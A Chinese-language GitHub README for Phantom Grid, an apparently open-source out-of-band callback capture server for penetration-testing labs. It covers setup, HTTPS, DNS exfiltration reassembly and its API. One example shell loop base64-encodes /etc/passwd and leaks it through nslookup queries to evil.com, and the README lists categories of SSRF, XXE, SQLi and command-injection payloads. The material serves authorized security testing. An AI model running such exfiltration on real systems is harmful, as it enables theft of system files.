user70616E6461/phantom-grid
GitHub: user70616E6461/phantom-grid
Phantom Grid 是一个免费开源的 OOB 交互捕获平台,替代 Burp Collaborator 并增强 DNS 渗出重组与持久化能力。
Stars: 0 | Forks: 0
⬡ Phantom Grid
免费、开源的 Burp Collaborator 替代工具,用于渗透测试实验室
带外(OOB)交互捕获 · HTTP/HTTPS · DNS · SQLite · 渗出数据重组
## 这是什么?
**Phantom Grid** 是一个自托管的 OOB(带外)交互捕获工具——它是 Burp Collaborator 的免费替代方案,用于解决渗透测试实验室题目(如 PortSwigger Web Security Academy、HackTheBox、TryHackMe 等)。
### v2.0 功能特性
| 功能 | 描述 |
|---------|-------------|
| **HTTP + HTTPS 捕获** | 双栈支持,配备自动生成的 TLS 自签名证书 |
| **DNS 捕获** | 内置 DNS 服务器,监听 53 端口 |
| **DNS 渗出重组** | 自动分块重组 DNS 渗出数据 |
| **SQLite 持久化** | 所有数据在服务器重启后保留(使用 WAL 模式提升性能) |
| **40+ 载荷模板** | SSRF、XXE、SQLi OOB、命令注入、SSTI、DNS 渗出等,开箱即用 |
| **战术仪表盘** | 实时监控的命令中心 UI |
| **Docker 友好** | 一键部署 |
| **REST API** | 完整的令牌/交互/渗出数据管理 API |
## 快速开始
### 选项 1:Python
```
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# 仅 HTTP
python server/server.py
# HTTP + HTTPS(自动生成自签名证书)
python server/server.py --https
# 全栈(需要 sudo 访问 DNS 端口 53)
sudo python server/server.py --https --dns
```
### 选项 2:Docker
```
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
```
### 选项 3:ngrok(适用于没有 VPS 的实验室)
```
python server/server.py --https &
ngrok http 9090
# 在有效载荷中使用 ngrok HTTPS URL
```
## 架构
```
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
```
## HTTPS 支持
现代应用通常会阻止混合内容请求(从 `https://` 页面发起 `http://` 请求)。Phantom Grid v2.0 同时运行 HTTP 和 HTTPS。
### 自动生成的自签名证书
```
python server/server.py --https
# 自动生成 certs/server.pem + certs/server.key
# HTTPS 在 https://0.0.0.0:9443 可用
```
### 自定义证书(Let's Encrypt 等)
```
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
```
### 使用 ngrok(即时公网 HTTPS)
```
python server/server.py &
ngrok http 9090
# ngrok 自动提供可信 HTTPS URL
```
## DNS 渗出重组
Phantom Grid 会自动重组分块的 DNS 渗出数据。这对于提取必须拆分到多个 DNS 查询的大型载荷至关重要(每个标签限制为 63 字节)。
### 支持的格式
| 格式 | 示例 | 用途 |
|--------|---------|----------|
| **简单** | `data.TOKEN.domain` | 单值渗出 |
| **索引** | `0.chunk1.TOKEN.domain` | 自动会话、有序分块 |
| **标记** | `sess1.0.chunk1.TOKEN.domain` | 带命名会话和顺序 |
| **结束信号** | `end.sess1.TOKEN.domain` | 标记会话完成 |
### 示例:通过 DNS 渗出 `/etc/passwd`
目标端执行:
```
# 将文件分割为 50 字节的 base64 块并通过 DNS 发送
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
```
查看重组数据:
```
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
```
响应结果:
```
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
```
## SQLite 持久化
所有数据存储在 `phantom_grid.db` 中,使用 SQLite WAL 模式以实现并发读写性能。
```
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
```
数据在服务器重启后仍然保留。备份只需复制 `phantom_grid.db` 文件。
## API 参考
### 令牌
| 方法 | 端点 | 描述 |
|--------|----------|-------------|
| `GET` | `/api/tokens` | 列出所有令牌及其统计信息 |
| `POST` | `/api/tokens` | 创建令牌 `{"label": "...", "notes": "..."}` |
| `PATCH` | `/api/tokens/
` | 更新令牌标签/备注 |
| `DELETE` | `/api/tokens/` | 删除令牌及其全部数据(级联删除) |
### 交互
| 方法 | 端点 | 描述 |
|--------|----------|-------------|
| `GET` | `/api/tokens//interactions?limit=&offset=` | 获取令牌交互记录 |
| `DELETE` | `/api/tokens//interactions` | 清除交互记录 |
| `GET` | `/api/log?limit=` | 全局日志(所有令牌) |
| `GET` | `/api/poll?since=` | 拉取新交互记录 |
### DNS 渗出
| 方法 | 端点 | 描述 |
|--------|----------|-------------|
| `GET` | `/api/tokens//exfil` | 获取渗出会话及重组数据 |
### 系统
| 方法 | 端点 | 描述 |
|--------|----------|-------------|
| `GET` | `/api/stats` | 全局统计(计数、数据库大小) |
| `GET` | `/health` | 健康检查 |
### 捕获端点
| 协议 | 端点 |
|----------|----------|
| HTTP | `http://server:9090/c/` |
| HTTPS | `https://server:9443/c/` |
| DNS | `.yourdomain.com` |
| DNS 渗出 | `..yourdomain.com` |
## CLI 选项
```
python server.py [OPTIONS]
--port N HTTP port (default: 9090)
--https Enable HTTPS server
--https-port N HTTPS port (default: 9443)
--cert PATH Custom TLS certificate (PEM)
--key PATH Custom TLS key file
--dns Enable DNS capture server
--dns-port N DNS port (default: 53)
--dns-ip IP IP returned in DNS responses (default: 127.0.0.1)
--db PATH SQLite database path (default: phantom_grid.db)
```
## 与其他工具的对比
| 功能 | Burp Collaborator | Interactsh | Phantom Grid |
|---------|-------------------|------------|--------------|
| 价格 | Burp Pro($$$) | 免费 | 免费 |
| HTTP/HTTPS | ✅ | ✅ | ✅ |
| DNS 捕获 | ✅ | ✅ | ✅ |
| DNS 渗出重组 | ❌ | ❌ | ✅ |
| SMTP 捕获 | ✅ | ✅ | ❌(路线图) |
| 自托管 | ❌ | ✅ | ✅ |
| 自定义域名 | ❌ | ✅ | ✅ |
| 持久化存储 | 不适用 | ❌ | ✅(SQLite) |
| 仪表盘 UI | Burp Suite | CLI | Web UI |
| 载荷模板 | ❌ | ❌ | ✅(40+) |
## 载荷分类
仪表盘包含 40+ 个开箱即用的可复制载荷:
- **HTTP 回调** — GET、cURL、wget、PowerShell、Python
- **SSRF** — 直接、URL 编码、双重编码、gopher、IMDS 重定向
- **XXE** — 外部实体、参数实体、OOB DTD 渗出
- **SQL 注入 OOB** — Oracle UTL_HTTP、MSSQL xp_dirtree/xp_cmdshell、MySQL LOAD_FILE、PostgreSQL COPY
- **命令注入** — 反引号、$()、管道、分号、换行、DNS 渗出
- **DNS 查找** — 子域名、nslookup、dig、渗出数据
- **SSTI** — Jinja2、ERB、Freemarker、Twig
- **邮件/SMTP** — 头部注入、IMAP 回调
## 免责声明
**仅限授权渗透测试、安全研究及教育实验室环境使用。** 在测试非本人拥有的系统前,请务必获得明确授权。作者不对滥用行为负责。
## 许可证
MIT — 参见 [许可证](LICENSE)标签:Burp Collaborator, Capture, CMDi, Dashboard, DNS, DNS Exfil, Docker, Exfil Reassembly, HackTheBox, HTTPS, OOB, Out-of-Band, PortSwigger Web Security Academy, Python, Python 3.10+, REST API, SQLi OOB, SQLite, SSRF, SSTI, TLS, Token管理, TryHackMe, WAL, XXE, 免费, 多payload模板, 安全防御评估, 开源, 无后门, 替代, 渗透测试实验室, 网络测绘, 自定义脚本, 自签名证书, 请求拦截, 逆向工具, 防御工具